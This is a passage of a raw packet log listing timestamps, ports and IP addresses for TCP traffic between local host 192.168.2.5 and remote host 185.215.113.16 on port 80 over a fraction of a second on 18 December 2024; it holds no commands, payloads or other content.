Dec 18, 2024 15:21:32.881813049 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.881988049 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.882041931 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.882678986 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.882734060 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.882788897 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.883452892 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.883507967 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.883546114 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.884475946 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.884546041 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.884613991 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.885257006 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.885540962 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.885698080 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.885747910 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.886569023 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.886703968 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.886755943 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.887667894 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.887718916 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.887785912 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.888725996 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.888770103 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.888782978 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.889241934 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.889929056 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.890145063 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.890197039 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.890919924 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.890985966 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.891031981 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.891910076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.891957998 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.892005920 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.893048048 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.893100977 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.893120050 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.893250942 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.894177914 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.894289017 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.894340038 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.895108938 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.895277977 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.895330906 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.896275997 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.896331072 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.896392107 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.897218943 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.897351027 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.897401094 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.898313046 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.898365974 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.898370028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.899414062 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.899471045 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.899553061 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.900461912 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.900513887 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.900518894 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.900554895 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.901488066 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.901604891 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.901655912 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.902553082 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.902705908 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.902756929 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.903629065 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.903675079 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.903743029 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.904716969 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.904762983 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.904805899 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.905247927 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.905750036 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.905869961 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.905922890 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.906842947 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.907088041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.907140017 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.907921076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.907965899 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.908152103 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.909190893 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.909276009 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.909385920 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.910183907 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.910238981 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.910269976 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.910315037 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.911082983 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.911201000 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.911261082 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.912149906 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.912271023 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.912344933 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.913209915 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.913254976 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.913306952 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.913345098 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.914531946 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.914583921 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.914664984 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.914711952 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.915416956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.915467978 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.915469885 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.915510893 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.916510105 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.916564941 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.916646004 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.916691065 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.917475939 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.917582989 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.917676926 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.919440031 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.919728041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.919780970 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.920428991 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.920483112 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.920535088 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.921298981 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.921396017 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.921478987 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.922184944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.922281981 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.922327042 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.922976017 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.923028946 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.923084021 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.923886061 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.923939943 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.924004078 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.924998045 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.925055981 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.925136089 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.925179005 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.926027060 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.926222086 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.926273108 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.927084923 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.927259922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.927305937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.928194046 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.928355932 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.928405046 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.929214001 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.929322958 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.929378033 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.930298090 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.930355072 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:32.930419922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.931309938 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:32.931612015 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.067981958 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.068026066 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.068077087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.068082094 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.068100929 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.068119049 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.068136930 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.068173885 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.068810940 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.068857908 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.068942070 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.068983078 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.069911957 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.069953918 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.069967985 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.070031881 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.070907116 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.070955038 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.071059942 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.071099997 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.071971893 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.072014093 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.072326899 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.072370052 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.073205948 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.073241949 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.073280096 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.074742079 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.074784040 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.074841976 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.074882984 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.075158119 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.075208902 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.075272083 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.075309992 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.076229095 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.076272964 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.076354027 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.076385021 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.077626944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.077670097 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.077711105 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.077748060 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.078406096 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.078459024 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.078543901 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.078583956 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.079432011 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.079478025 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.079550028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.079588890 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.080476046 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.080514908 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.080552101 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.080588102 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.081574917 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.081618071 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.081690073 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.081751108 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.082612991 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.082647085 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.082865000 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.082901001 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.083745003 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.083782911 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.083903074 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.083937883 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.084747076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.084785938 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.084826946 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.084858894 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.085781097 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.085819960 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.085850000 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.085881948 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.086891890 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.086925983 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.086963892 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.087001085 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.087960005 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.087996006 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.088010073 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.088043928 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.089190006 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.089309931 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.089354992 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.089354992 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.090172052 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.090208054 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.090291023 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.090326071 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.091151953 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.091187954 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.091259956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.091298103 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.092235088 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.092273951 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.092467070 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.092509985 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.093312025 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.093350887 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.093424082 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.093460083 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.094398022 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.094439983 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.094516039 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.094557047 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.095436096 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.095477104 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.095577955 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.095616102 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.096626997 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.096664906 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.096726894 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.096765041 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.097650051 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.097692013 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.097728014 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.097775936 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.098648071 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.098686934 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.098753929 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.098788977 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.100234985 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.100332022 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.100410938 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.100450039 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.101136923 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.101171970 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.101249933 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.101288080 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.102217913 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.102257013 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.102294922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.102330923 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.102932930 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.102971077 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.103029966 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.103068113 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.103946924 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.103988886 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.103996992 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.104032040 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.105063915 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.105106115 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.105174065 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.105211020 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.106482029 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.106529951 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.106650114 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.106690884 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.107328892 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.107369900 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.107439995 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.107479095 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.108311892 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.108349085 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.108407974 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.108449936 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.109558105 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.109601974 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.109644890 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.109679937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.110474110 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.110512972 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.110588074 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.110625982 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.111653090 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.111696005 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.111892939 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.111932993 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.113713980 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.113758087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.113795042 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.113853931 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.115366936 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.115418911 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.115449905 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.115483999 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.115483999 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.115521908 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.115540028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.115576029 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.117218971 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:33.117266893 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:33.117275953 CET	80	49817	185.215.113.16	192.168.2.5
